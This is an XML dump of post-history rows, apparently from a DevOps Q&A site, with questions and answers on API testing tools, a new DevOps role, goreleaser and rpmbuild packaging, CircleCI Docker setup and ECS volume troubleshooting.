  <row Id="26723" PostHistoryTypeId="5" PostId="9086" RevisionGUID="b830d50e-a9c2-4fb5-8a18-d670395b4e47" CreationDate="2019-09-04T14:01:14.997" UserId="15792" Comment="deleted 49 characters in body" Text="Cypress is designed for front-end end-to-end testing.  It is designed for testing a users interaction with your application and verifying that it works correctly (e.g. logging in with a valid username and password load the landing page).  Tools like this are designed to allow running in a headless mode which will let you run the tests in CI tool without loading a GUI.&#xD;&#xA;&#xD;&#xA;Since it appears that your goal is to test the API interaction you are probably better off using a tool designed for that purpose.  Many of these tools also provide a command line test runner and integrate with various CI tools:&#xD;&#xA;&#xD;&#xA; 1. Postman - Free, relatively easy to setup, and includes an automated testing tool ([newman][1]).&#xD;&#xA; 2. [SmartBear][2] - Commercial product that integrates with most CI tooling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://learning.getpostman.com/docs/postman/collection_runs/command_line_integration_with_newman/&#xD;&#xA;  [2]: https://smartbear.com/solutions/api-testing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26728" PostHistoryTypeId="5" PostId="9086" RevisionGUID="c19bc4fb-1961-4128-af39-c392b8ca3019" CreationDate="2019-09-04T14:12:38.377" UserId="15792" Comment="Finished answering updated question" Text="Cypress is designed for front-end end-to-end testing.  It is designed for testing a users interaction with your application and verifying that it works correctly (e.g. logging in with a valid username and password load the landing page).  Tools like this are designed to allow running in a headless mode which will let you run the tests in CI tool without loading a GUI.&#xD;&#xA;&#xD;&#xA;Since it appears that your goal is to test the API interaction you are probably better off using a tool designed for that purpose.  Most API test tools allow you to send a request to your API and verify certain things about the response (i.e., response code, response headers, response bodies).&#xD;&#xA;&#xD;&#xA;While using an end-to-end tool (like Cypress) will ultimately test your API, it will take longer to setup, run, and often be more brittle.  To use your above example, a tool like Cypress will require a script/test steps that log into your system, selecting multiple addresses for shipping, and verifying that everything displays properly.  A tool like Postman would just test that when you send a request to your FedEx API with a specific body and headers, you get the expected response, body, and headers back.  Setting up something like Postman will require a new tool, but will ultimately save time &#xD;&#xA;&#xD;&#xA;Many of the API tools also provide a command line test runner and integrate with various CI tools (non-exhaustive list):&#xD;&#xA;&#xD;&#xA; 1. [Postman][1] - Free, relatively easy to setup, and includes an automated testing tool ([newman][2]).&#xD;&#xA; 2. [SmartBear][3] - Commercial product that integrates with most CI tooling.&#xD;&#xA; 3. [Rest-Assured][4] - Open source option for REST API testing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.getpostman.com/&#xD;&#xA;  [2]: https://learning.getpostman.com/docs/postman/collection_runs/command_line_integration_with_newman/&#xD;&#xA;  [3]: https://smartbear.com/solutions/api-testing/&#xD;&#xA;  [4]: https://github.com/rest-assured/rest-assured" ContentLicense="CC BY-SA 4.0" />
  <row Id="26733" PostHistoryTypeId="2" PostId="9099" RevisionGUID="7295b9aa-3e48-4faa-891c-5225e3a1f014" CreationDate="2019-09-04T19:24:01.323" UserId="16911" Text="At my current job, I started as a Software Developer, and I've worked myself into a DEVOPS position. I am worried about getting fired, not because I'm doing something wrong, but because I'm used to proactively doing things(writing code), whereas most of my time now is sitting around waiting for things to happen....&#xD;&#xA;&#xD;&#xA;My daily duties(and I asked my manager in a detailed email listing these same ones) are,&#xD;&#xA;&#xD;&#xA;&gt;Monitor 5 different servers' performance.&#xD;&#xA;&#xD;&#xA;&gt;Monitor 2 of those servers Active Batch execution agents&#xD;&#xA;&#xD;&#xA;&gt;Handle requests as they are created.&#xD;&#xA;&#xD;&#xA;&gt;Handle project tasks as they are created.&#xD;&#xA;&#xD;&#xA;&gt;Monitor Email/Skype/Phone&#xD;&#xA;&#xD;&#xA;&gt;Build whatever is requested that isn't directly assigned thru the ticketing system.&#xD;&#xA;&#xD;&#xA;It seems like a lot at first glance, but what is actually involved is little more than watching 1 monitor for new errors, and another monitor for messages. I can usually complete tickets in minutes-1 hour. Is this normal for Dev Ops-just sitting around waiting? If so, what can I do to be more useful? If not, am I in danger of getting fired? " ContentLicense="CC BY-SA 4.0" />
  <row Id="26734" PostHistoryTypeId="1" PostId="9099" RevisionGUID="7295b9aa-3e48-4faa-891c-5225e3a1f014" CreationDate="2019-09-04T19:24:01.323" UserId="16911" Text="How to handle a new Dev Ops position?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26735" PostHistoryTypeId="3" PostId="9099" RevisionGUID="7295b9aa-3e48-4faa-891c-5225e3a1f014" CreationDate="2019-09-04T19:24:01.323" UserId="16911" Text="&lt;operations&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26738" PostHistoryTypeId="5" PostId="9050" RevisionGUID="af8aba80-7234-48bc-960c-22827d539b83" CreationDate="2019-09-05T03:39:16.823" UserId="9308" Comment="Inserted a relevant comment by the person who answered into the answer." Text="I would suggest using the Jenkins Credentials Plugin.&#xD;&#xA;&#xD;&#xA;Another method which is more useful in case the Jenkins nodes are not able to connect via SSH is by pushing it to some remote bucket from NodeA and using triggers or a webhook to pull it to NodeB. This might however require access to the internet.&#xD;&#xA;&#xD;&#xA;To apply this use wiki.jenkins.io/display/JENKINS/SSH+Credentials+Plugin Use in conjunction with jenkins.io/doc/book/using/using-credentials." ContentLicense="CC BY-SA 4.0" />
  <row Id="26739" PostHistoryTypeId="24" PostId="9050" RevisionGUID="af8aba80-7234-48bc-960c-22827d539b83" CreationDate="2019-09-05T03:39:16.823" Comment="Proposed by 9308 approved by -1 edit id of 1065" ContentLicense="CC BY-SA 4.0" />
  <row Id="26740" PostHistoryTypeId="5" PostId="9050" RevisionGUID="9cd75c3d-6c32-4f76-b3e8-6b6de4b74faf" CreationDate="2019-09-05T03:39:16.823" UserId="739" Comment="Inserted a relevant comment by the person who answered into the answer." Text="I would suggest using the Jenkins Credentials Plugin.&#xD;&#xA;&#xD;&#xA;Another method which is more useful in case the Jenkins nodes are not able to connect via SSH is by pushing it to some remote bucket from NodeA and using triggers or a webhook to pull it to NodeB. This might however require access to the internet.&#xD;&#xA;&#xD;&#xA;To apply this use https://wiki.jenkins.io/display/JENKINS/SSH+Credentials+Plugin in conjunction with https://jenkins.io/doc/book/using/using-credentials." ContentLicense="CC BY-SA 4.0" />
  <row Id="26742" PostHistoryTypeId="6" PostId="9040" RevisionGUID="81efd6b3-ec92-4d04-ac7e-e485cb7ee056" CreationDate="2019-09-05T03:40:58.713" UserId="739" Comment="add ssh tag" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;key-management&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26749" PostHistoryTypeId="2" PostId="9101" RevisionGUID="037fd2a2-d6a6-49fa-83d5-016f276e5a1d" CreationDate="2019-09-05T13:58:38.917" UserId="707" Text="I am an absolute novice in Golang but I want to modify a Go build script to build a file locally only instead of publishing it to GitHub.&#xD;&#xA;&#xD;&#xA;https://github.com/dahendel/docker-machine-driver-cloudstack/blob/master/.goreleaser.yml&#xD;&#xA;&#xD;&#xA;How to proceed?&#xD;&#xA;&#xD;&#xA;I've created a fork with a [Dockerfile][1] to capture the release environment I can so far &quot;reverse-engineer&quot; but as I run it I get the following error and don't know how what and how to modify in the .goreleaser.yml.&#xD;&#xA;&#xD;&#xA;       • releasing using goreleaser 0.117.1...&#xD;&#xA;       • loading config file       file=.goreleaser.yml&#xD;&#xA;       • RUNNING BEFORE HOOKS     &#xD;&#xA;       • LOADING ENVIRONMENT VARIABLES&#xD;&#xA;          • pipe skipped              error=publishing is disabled&#xD;&#xA;       • GETTING AND VALIDATING GIT STATE&#xD;&#xA;          • releasing v1.0.5, commit d47a87ff8c671ec70b99a125fd6aadc45949905d&#xD;&#xA;          • pipe skipped              error=disabled during snapshot mode&#xD;&#xA;       • PARSING TAG              &#xD;&#xA;       • SETTING DEFAULTS         &#xD;&#xA;          • LOADING ENVIRONMENT VARIABLES&#xD;&#xA;          • SNAPSHOTING              &#xD;&#xA;          • GITHUB/GITLAB/GITEA RELEASES&#xD;&#xA;          • PROJECT NAME             &#xD;&#xA;          • BUILDING BINARIES        &#xD;&#xA;          • ARCHIVES                 &#xD;&#xA;                • DEPRECATED: `archive` should not be used anymore, check https://goreleaser.com/deprecations#archive for more info.&#xD;&#xA;          • LINUX PACKAGES WITH NFPM &#xD;&#xA;                • DEPRECATED: `nfpm` should not be used anymore, check https://goreleaser.com/deprecations#nfpm for more info.&#xD;&#xA;          • SNAPCRAFT PACKAGES       &#xD;&#xA;          • CALCULATING CHECKSUMS    &#xD;&#xA;          • SIGNING ARTIFACTS        &#xD;&#xA;          • DOCKER IMAGES            &#xD;&#xA;          • ARTIFACTORY              &#xD;&#xA;          • S3                       &#xD;&#xA;          • BLOB                     &#xD;&#xA;          • HOMEBREW TAP FORMULA     &#xD;&#xA;             • optimistically guessing `brew[0].installs`, double check&#xD;&#xA;          • SCOOP MANIFEST           &#xD;&#xA;       • SNAPSHOTING              &#xD;&#xA;       • CHECKING ./DIST          &#xD;&#xA;       • WRITING EFFECTIVE CONFIG FILE&#xD;&#xA;          • writing                   config=dist/config.yaml&#xD;&#xA;       • GENERATING CHANGELOG     &#xD;&#xA;          • pipe skipped              error=not available for snapshots&#xD;&#xA;       • BUILDING BINARIES        &#xD;&#xA;          • running hook              hook=dep ensure&#xD;&#xA;       ⨯ release failed after 0.01s error=pre hook failed: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/1605200517/docker-machine-driver-cloudstack/blob/master/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="26750" PostHistoryTypeId="1" PostId="9101" RevisionGUID="037fd2a2-d6a6-49fa-83d5-016f276e5a1d" CreationDate="2019-09-05T13:58:38.917" UserId="707" Text="How to make a goreleaser script to build a deb file locally?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26751" PostHistoryTypeId="3" PostId="9101" RevisionGUID="037fd2a2-d6a6-49fa-83d5-016f276e5a1d" CreationDate="2019-09-05T13:58:38.917" UserId="707" Text="&lt;build-pipeline&gt;&lt;golang&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26752" PostHistoryTypeId="2" PostId="9102" RevisionGUID="9849e021-2d61-4f08-b292-d6c749e93fc6" CreationDate="2019-09-05T15:03:48.287" UserId="16896" Text="Why is `docker` not found? Do I need to use a different docker image than `debian:latest`? I want the latest debian image so does that mean I need to manually install Docker?&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;orbs:&#xD;&#xA;  aws-ecr: circleci/aws-ecr@6.2.0&#xD;&#xA;version: 2.1&#xD;&#xA;&#xD;&#xA;workflows:&#xD;&#xA;  # Build every commit on every branch without pushing to ECR&#xD;&#xA;  build_image:&#xD;&#xA;    jobs:&#xD;&#xA;      - build_image&#xD;&#xA;&#xD;&#xA;jobs:&#xD;&#xA;  build_image:&#xD;&#xA;    docker:&#xD;&#xA;      - image: debian:latest&#xD;&#xA;    steps:&#xD;&#xA;      - aws-ecr/build-image:&#xD;&#xA;          account-url: AWS_ACCOUNT_URL&#xD;&#xA;          repo: node&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/y0g0B.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26753" PostHistoryTypeId="1" PostId="9102" RevisionGUID="9849e021-2d61-4f08-b292-d6c749e93fc6" CreationDate="2019-09-05T15:03:48.287" UserId="16896" Text="Docker not found in circleci config" ContentLicense="CC BY-SA 4.0" />
  <row Id="26754" PostHistoryTypeId="3" PostId="9102" RevisionGUID="9849e021-2d61-4f08-b292-d6c749e93fc6" CreationDate="2019-09-05T15:03:48.287" UserId="16896" Text="&lt;circleci-2.0&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26755" PostHistoryTypeId="2" PostId="9103" RevisionGUID="4a492260-2b5f-4ff2-bc28-0a9e56a4deda" CreationDate="2019-09-05T15:21:10.077" UserId="16927" Text="Sprint 156 update rolled out Progress report in preview (should be an option between Test plans* and Parameters) but I can't seem to find where to enable it. I have turned on all my previews and still don't see it.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZFTtn.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26756" PostHistoryTypeId="1" PostId="9103" RevisionGUID="4a492260-2b5f-4ff2-bc28-0a9e56a4deda" CreationDate="2019-09-05T15:21:10.077" UserId="16927" Text="How do I enable Progress report for Test Plans" ContentLicense="CC BY-SA 4.0" />
  <row Id="26757" PostHistoryTypeId="3" PostId="9103" RevisionGUID="4a492260-2b5f-4ff2-bc28-0a9e56a4deda" CreationDate="2019-09-05T15:21:10.077" UserId="16927" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26764" PostHistoryTypeId="5" PostId="7947" RevisionGUID="9402133e-c933-4a25-8562-161beb27f93b" CreationDate="2019-09-05T17:51:20.233" UserId="354" Comment="Improve formatting and grammar." Text="The key here is the behavior of AWS AMIs in the context of ECS. By default the AWS ECS Amazon Linux AMI optimized for ECS is in charge of VOLUME management but there's a problem if you copy that AMI and try to launch a new instance -- the SECONDARY volume that ECS uses to deploy docker on can go missing.&#xD;&#xA;&#xD;&#xA;Troubleshooting steps.&#xD;&#xA;&#xD;&#xA; - Check `/var/log/cloud-init-output.log` and see if you have an error message like:&#xD;&#xA;```&#xD;&#xA;    ERROR: /dev//dev/xvdcz is not a valid block device.&#xD;&#xA;```&#xD;&#xA; - Check your instance mounted volumes and make sure that the Secondary Volume exists. Usually if you see the error above it means that only `/dev/xvda` is mounted.&#xD;&#xA;&#xD;&#xA;**FIX**:&#xD;&#xA;&#xD;&#xA;Enforce your Launch Configuration, Launch Template or script to always deploy the secondary volume `/dev/xvdcz` **regardless** of AMI configuration. Do not rely on the AMI as unfortunately the AMI flow has changed and might not preserve all the necessary configuration.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26765" PostHistoryTypeId="24" PostId="7947" RevisionGUID="9402133e-c933-4a25-8562-161beb27f93b" CreationDate="2019-09-05T17:51:20.233" Comment="Proposed by 354 approved by -1 edit id of 1066" ContentLicense="CC BY-SA 4.0" />
  <row Id="26766" PostHistoryTypeId="5" PostId="7947" RevisionGUID="7fb0cc70-3ea4-4a49-b4f6-b1fb11a3e4b4" CreationDate="2019-09-05T17:51:20.233" UserId="40" Comment="deleted 4 characters in body" Text="The key here is the behavior of AWS AMIs in the context of ECS. By default the AWS ECS Amazon Linux AMI optimized for ECS is in charge of VOLUME management but there's a problem if you copy that AMI and try to launch a new instance -- the SECONDARY volume that ECS uses to deploy docker on can go missing.&#xD;&#xA;&#xD;&#xA;Troubleshooting steps:&#xD;&#xA;&#xD;&#xA; - Check `/var/log/cloud-init-output.log` and see if you have an error message like:&#xD;&#xA;&#xD;&#xA;  &gt;   ERROR: /dev//dev/xvdcz is not a valid block device.&#xD;&#xA;&#xD;&#xA; - Check your instance mounted volumes and make sure that the Secondary Volume exists. Usually if you see the error above it means that only `/dev/xvda` is mounted.&#xD;&#xA;&#xD;&#xA;**FIX**:&#xD;&#xA;&#xD;&#xA;Enforce your Launch Configuration, Launch Template or script to always deploy the secondary volume `/dev/xvdcz` **regardless** of AMI configuration. Do not rely on the AMI as unfortunately the AMI flow has changed and might not preserve all the necessary configuration.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26771" PostHistoryTypeId="50" PostId="5505" RevisionGUID="841c69f3-69e8-41e3-9b12-fc4be8b1dbd9" CreationDate="2019-09-05T19:02:05.260" UserId="-1" />
  <row Id="26779" PostHistoryTypeId="2" PostId="9108" RevisionGUID="105b4a16-387a-4817-92c1-22b6d74c15f9" CreationDate="2019-09-05T20:57:49.633" UserId="16351" Text="I agree with those who have commented that the role you describe doesn't really match a typical DevOps role. However, there are certain things you won't be able to change in your organization. Instead, focus on the things you can do.&#xD;&#xA;&#xD;&#xA;## Understand the Objectives&#xD;&#xA;&#xD;&#xA;The best place to start is with a clear understanding of Service Level Objectives. What kinds of things do external customers actually care about? If they don't care about uptime, don't make uptime measurements a high priority. Perhaps latency, software updates, content accuracy, or some other measure is more important. Also be aware of your internal customers' needs (your boss, coworkers, etc). What things do they care about?&#xD;&#xA;&#xD;&#xA;Once you understand what is most important to your customers, **measure, measure, measure!** Get as much data as you can about those items that matter. How long does it take to deploy code? When you close a ticket, what percentage of the time does it come back unresolved? And so on. Use those measurements to improve over time.&#xD;&#xA;&#xD;&#xA;Here are some areas you can focus your efforts (varies, depending on the company you work for):&#xD;&#xA;&#xD;&#xA;###Configuration&#xD;&#xA;&#xD;&#xA;If someone logged into a server and broke the configuration, how hard would it be to correct the error?&#xD;&#xA;&#xD;&#xA; - You should be able to consistently build and replace resources with minimal effort.&#xD;&#xA; - Configuration management should be complete so that all meaningful changes are tracked.&#xD;&#xA; - Ideally, build up processes or tooling as needed so that developers can modify configuration themselves in a controlled and collaborative way (:D DevOps!).&#xD;&#xA;&#xD;&#xA;###CI/CD&#xD;&#xA;&#xD;&#xA;When new code is released, how does it get delivered?&#xD;&#xA;&#xD;&#xA; - When code is pushed to source control, it should trigger automated testing and deployment. If possible, this should happen in a pipeline that deploys multiple environments in sequence as tests pass (dev -&gt; qa -&gt; uat -&gt; prod).&#xD;&#xA; - Improve visibility so that you can easily see where different versions of the code are running, what errors are occurring, and how performance is changing.&#xD;&#xA; - Enable your software developers to deliver code themselves (:D DevOps!).&#xD;&#xA; - Collaborate with developers to improve this process (:D DevOps!)&#xD;&#xA;&#xD;&#xA;###Logging/Metrics&#xD;&#xA;&#xD;&#xA;When something goes wrong, how quickly can you find out what the problem was? If something went wrong 2 months ago, can you still find out what the problem was?&#xD;&#xA;&#xD;&#xA; - Collect logs in a central place with tools that help you search and visualize.&#xD;&#xA; - Aggregate metrics with tools that help visualize.&#xD;&#xA; - Reduce noise! If it's not meaningful, don't keep it (but be a little conservative, sometimes things turn out to be meaningful later).&#xD;&#xA; - Work with developers to understand how logging and metrics would help them deliver better software (:D DevOps!).&#xD;&#xA;&#xD;&#xA;###Alerting/Incident Response&#xD;&#xA;&#xD;&#xA;Ideally, you should not ever need to look at a graph, dashboard, or log message, unless there's an actual problem to solve. Sitting and watching a dashboard is not a good task for humans.&#xD;&#xA;&#xD;&#xA; - Set up alerting so that you get notified when problems arise.&#xD;&#xA; - Alerts should go to **ONE** person, who is the RIGHT person.&#xD;&#xA; - Alerts should be *urgent* (needs to be addressed immediately), and *actionable* (the person getting the alert *can* fix it).&#xD;&#xA; - In the spirit of paging the right person, you may be able to work with developers on getting them into some kind of on-call rotation (even just M-F 8-5 for a subset of code issues). (DevOps?)&#xD;&#xA;&#xD;&#xA;###Disaster Recovery&#xD;&#xA;&#xD;&#xA;If your servers were destroyed today, how long would it take to be up and running again?&#xD;&#xA;&#xD;&#xA; - Take backups of data and set up backup infrastructure.&#xD;&#xA; - Test backup recovery regularly.&#xD;&#xA; - Test failover to secondary infrastructure regularly.&#xD;&#xA; - Work with developers to better understand how code will operate in a failover scenario and improve as needed (:D DevOps!).&#xD;&#xA;&#xD;&#xA;###Documentation&#xD;&#xA;&#xD;&#xA;Heaven forbid something happen to you, but if it does, how well can someone else replace you. Document what you've built and improved so clearly that another person *can* replace you. Don't worry, this makes you *less* likely to be fired.&#xD;&#xA;&#xD;&#xA;###Education&#xD;&#xA;&#xD;&#xA;Always, educate yourself. Take online courses, read books, work on certifications. I don't know what the path looks like for you. I believe that spending a few hours every week specifically dedicated to improving your own skills is a valuable use of your time (even for your employer!).&#xD;&#xA;&#xD;&#xA;A book like Site Reliability Engineering (Beyer, Jones, Petoff &amp; Murphy) or The Phoenix Project (Kim, Behr &amp; Spafford) might be good to read on this topic.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Totally possible I've entirely missed the point of your question. If so, I apologize. However, I think this ought to give you some ideas of how you can spend your time in ways that is worthwhile to both your employer and yourself.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26781" PostHistoryTypeId="2" PostId="9109" RevisionGUID="33dac7e9-aebf-4677-98d7-0a3a64a1c63f" CreationDate="2019-09-06T04:17:19.017" UserId="16935" Text="Below comments will work for you: &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&gt;  Monitor 5 different servers' performance.&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt;  Monitor 2 of those servers Active Batch execution agents&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;- understand and priorities tasks/faults as per solution and business impact  &#xD;&#xA;- build jobs to alert you &amp; your team (may be scripts already there)&#xD;&#xA;- build rollbacks/optimizer  according  alerts (some rollback scripts may be already there)  &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; Handle requests as they are created.  &#xD;&#xA;Handle project tasks as they are&#xD;&#xA;&gt; created.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;- make sync closely with developer/testing teams and follow up / understand there approach, scripts and solutions what they have developed  &#xD;&#xA;&#xD;&#xA;Monitor Email/Skype/Phone&#xD;&#xA;&#xD;&#xA;&gt; Build whatever is requested that isn't directly assigned thru the&#xD;&#xA;&gt; ticketing system.&#xD;&#xA;&#xD;&#xA;follow up manually tasks/ solution designs that to be build and understand the requirement. To build jobs, you should educate your self at least with below technologies:&#xD;&#xA;&#xD;&#xA; - data format json, xml, yml&#xD;&#xA; - python , python/ linux scripting&#xD;&#xA; - Python framework like Robot, Ansible&#xD;&#xA; - Rest API&#xD;&#xA; - CI/CD Jankins, Git&#xD;&#xA; - CI/CD suite xtesting&#xD;&#xA; - Linux&#xD;&#xA; - solution specific dependencies&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26787" PostHistoryTypeId="2" PostId="9111" RevisionGUID="985da043-b399-4b6c-bf22-9fae72f296d0" CreationDate="2019-09-06T10:59:15.283" UserId="16942" Text="I have cloned your repo and try that in my local machine. Here is the steps :&#xD;&#xA;&#xD;&#xA; 1. Git clone &lt;repo&gt;&#xD;&#xA; &#xD;&#xA; 2. executing Dry run (testing everything before doing a release &quot;for real&quot; :&#xD;&#xA;&#xD;&#xA;    $ goreleaser release --skip-publish&#xD;&#xA;&#xD;&#xA; 3. show there is no error&#xD;&#xA;    ```&#xD;&#xA;     SIGNING ARTIFACTS&#xD;&#xA;      • pipe skipped              error=artifact signing is disabled&#xD;&#xA;   • DOCKER IMAGES&#xD;&#xA;      • pipe skipped              error=docker section is not configured&#xD;&#xA;   • PUBLISHING&#xD;&#xA;      • pipe skipped              error=publishing is disabled&#xD;&#xA;   • release succeeded after 20.75s&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; 4. execute goreleaser for release&#xD;&#xA;&#xD;&#xA;    $ goreleaser release&#xD;&#xA;&#xD;&#xA; 5. goreleaser will created **dist** folder inside project and this folder will consist of distribution packages (deb, rpm).&#xD;&#xA;&#xD;&#xA;I have encounter some issues and here is what I do :&#xD;&#xA;&#xD;&#xA; - error=missing GITHUB_TOKEN, GITLAB_TOKEN and GITEA_TOKEN&#xD;&#xA;&#xD;&#xA;create github or gitlab token ( https://github.com/settings/tokens) and put it as environment variabel&#xD;&#xA;&#xD;&#xA;    export GITHUB_TOKEN=xxxxyyyyyzzzzz&#xD;&#xA;&#xD;&#xA;resolve the issue.&#xD;&#xA;&#xD;&#xA; - pre hook failed: xxxx is not within a known GOPATH/src&#xD;&#xA;&#xD;&#xA;as I see in your goreleaser.yaml &#xD;&#xA;&#xD;&#xA;    hooks:&#xD;&#xA;    pre: dep ensure&#xD;&#xA;&#xD;&#xA;you're using dep ensure, checking $GOPATH and make sure $GOPATH pointing to right path of your Go project. &#xD;&#xA;&#xD;&#xA; - error=dist is not empty, remove it before running goreleaser or use the --rm-dist flag&#xD;&#xA;&#xD;&#xA;dist folder has been created before, you can either manually delete the folder or add flags --rm-dist when executing goreleaser command&#xD;&#xA;&#xD;&#xA;    $ goreleaser release --skip-publish --rm-dist&#xD;&#xA;&#xD;&#xA; - error=nfpm failed: rpmbuild not present in $PATH&#xD;&#xA;&#xD;&#xA;this error occured as I was running on mac machine so there is no rpmbuild installed, installing rpm, rpmbuild solve the issue&#xD;&#xA;&#xD;&#xA;    $brew install rpm&#xD;&#xA;&#xD;&#xA; - error=git is currently in a dirty state, please check in your pipeline what can be changing the following files:&#xD;&#xA; M Gopkg.lock&#xD;&#xA;&#xD;&#xA;Goreleaser seems to check file diff, so as because running hook (dep ensure) updating the Gopkg.lock and this changes/updates are not pushed to git. The solution is always pushing the changes to git.&#xD;&#xA;&#xD;&#xA; - error=git tag v1.0.5 was not made against commit 3ae83eebd904d33cc549117254e857ebea04df90&#xD;&#xA;&#xD;&#xA;reading from GoReleaser documentation which is &quot;GoReleaser enforces semantic versioning and will error on non-compliant tags. Your tag should be a valid semantic version. If it is not, GoReleaser will error.&quot;&#xD;&#xA;&#xD;&#xA;after pushing to git, make sure you have to update the tags, in this case I updates the tags to v1.0.6 (previously v1.0.5).&#xD;&#xA;&#xD;&#xA; - error=GitHub/GitLab/Gitea Releases: failed to publish artifacts POST http://xxxyyyzzz/releases: 404 Not Found []&#xD;&#xA;&#xD;&#xA;make sure release text is there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26791" PostHistoryTypeId="50" PostId="6828" RevisionGUID="c26f3518-feb5-491a-b1d9-81821175bd7b" CreationDate="2019-09-06T12:03:30.517" UserId="-1" />
  <row Id="26796" PostHistoryTypeId="50" PostId="8837" RevisionGUID="78063fa4-1848-4170-8c2d-69f34fb2c009" CreationDate="2019-09-06T17:01:10.130" UserId="-1" />
  <row Id="26797" PostHistoryTypeId="50" PostId="6832" RevisionGUID="205d1e18-f1b2-40ae-bfb8-1d3d9c1c0b56" CreationDate="2019-09-06T18:00:18.447" UserId="-1" />
  <row Id="26799" PostHistoryTypeId="50" PostId="6818" RevisionGUID="1c20409e-ef40-43f1-9f94-3cfb76f429a6" CreationDate="2019-09-06T19:02:40.357" UserId="-1" />
  <row Id="26805" PostHistoryTypeId="50" PostId="6759" RevisionGUID="c4d9769d-ab86-420d-af6f-ce1ea73b2232" CreationDate="2019-09-07T03:02:00.900" UserId="-1" />
  <row Id="26806" PostHistoryTypeId="2" PostId="9116" RevisionGUID="9bb3fe74-7dab-4931-9074-df144f00e671" CreationDate="2019-09-07T06:39:26.480" UserId="707" Text="I have a Docker-based Debian Sid build environment for Go. The build script of an is configured to build both .deb and .rpm.&#xD;&#xA;&#xD;&#xA;The rpm build process of a component I  wish to build requires though the tool `rpmbuild`.&#xD;&#xA;&#xD;&#xA;Is it possible to install rpmbuild on Debian or should I better try another Linux distro?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26807" PostHistoryTypeId="1" PostId="9116" RevisionGUID="9bb3fe74-7dab-4931-9074-df144f00e671" CreationDate="2019-09-07T06:39:26.480" UserId="707" Text="Is it possible to install RPM build on Debian?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26808" PostHistoryTypeId="3" PostId="9116" RevisionGUID="9bb3fe74-7dab-4931-9074-df144f00e671" CreationDate="2019-09-07T06:39:26.480" UserId="707" Text="&lt;docker&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26809" PostHistoryTypeId="2" PostId="9117" RevisionGUID="12c4088b-8515-40ac-8d72-0ffb017b323c" CreationDate="2019-09-07T06:59:55.037" UserId="354" Text="You can indeed build RPMs on Debian. You need the `rpm` and `rpmbuild8` packages:&#xD;&#xA;&#xD;&#xA;I tried it with a docker container:&#xD;&#xA;&#xD;&#xA;`docker run --rm -it debian bash -c 'apt-get update &amp;&amp; apt-get -y install rpm librpmbuild8 &amp;&amp; which rpmbuild'`&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;More info on packages:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;The following additional packages will be installed:&#xD;&#xA;  dbus debugedit libapparmor1 libarchive13 libdbus-1-3 libdw1 libexpat1 libgdbm-compat4 libgdbm6 libicu63 liblua5.2-0 libmagic-mgc libmagic1 libnspr4&#xD;&#xA;  libnss3 libperl5.28 libpopt0 librpm8 librpmio8 librpmsign8 libsqlite3-0 libxml2 netbase perl perl-modules-5.28 rpm-common rpm2cpio&#xD;&#xA;Suggested packages:&#xD;&#xA;  default-dbus-session-bus | dbus-session-bus rpm-i18n lrzip gdbm-l10n file sensible-utils perl-doc libterm-readline-gnu-perl&#xD;&#xA;  | libterm-readline-perl-perl make libb-debug-perl liblocale-codes-perl alien python elfutils rpmlint rpm2html&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26810" PostHistoryTypeId="50" PostId="6827" RevisionGUID="43b81839-37a5-4b10-bb2d-940330b94aff" CreationDate="2019-09-07T08:01:55.203" UserId="-1" />
